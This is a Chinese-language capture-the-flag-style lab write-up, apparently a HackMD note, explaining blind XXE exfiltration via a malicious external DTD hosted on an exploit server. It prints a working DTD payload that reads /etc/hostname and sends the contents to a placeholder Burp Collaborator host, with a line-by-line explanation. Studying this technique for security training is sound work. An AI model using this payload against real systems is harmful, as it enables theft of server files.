# XXE Lab5 這題是利用惡意外部 DTD 文件來執行盲注 XXE 資料外洩。 ### 原理: - 目標系統允許在 XML 中引用外部 DTD。 - 先在自己控制的伺服器(這題是 Exploit Server)上準備一個惡意的 DTD 文件。 ### 這個惡意 DTD 會: - 定義一個內部實體 %file,用來讀取目標系統的本機檔案(file:///etc/hostname)。 - 定義另一個內部實體 `%eval`,它會動態建立一個外部實體 `%exfil`,並讓伺服器去呼叫一個帶有讀取結果的 URL(裡面會把 `/etc/hostname` 的內容作為參數傳送)。 - 呼叫` %eval`; 跟 `%exfil;`,讓資料外洩到你的 Burp Collaborator(或 Exploit Server)。 ### 實作: 一樣進入網站並攔截請求。   先準備一個惡意的 DTD 文件: ``` <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://BURP-COLLABORATOR-SUBDOMAIN/?x=%file;'>"> %eval; %exfil; ``` - `<!ENTITY % file SYSTEM "file:///etc/hostname">`: 定義一個參數實體 %file,內容是從本機檔案 /etc/hostname 讀取的。 - `<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://BURP-COLLABORATOR-SUBDOMAIN/?x=%file;'>">`: 動態定義另一個參數實體 `%exfil`,其內容會對你的 Collaborator 伺服器發送一個帶有 `%file`(也就是 `/etc/hostname` 內容)的 HTTP 請求。 - `%` 是 % 的 Unicode 寫法,避免字元被提早解析。   ---
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up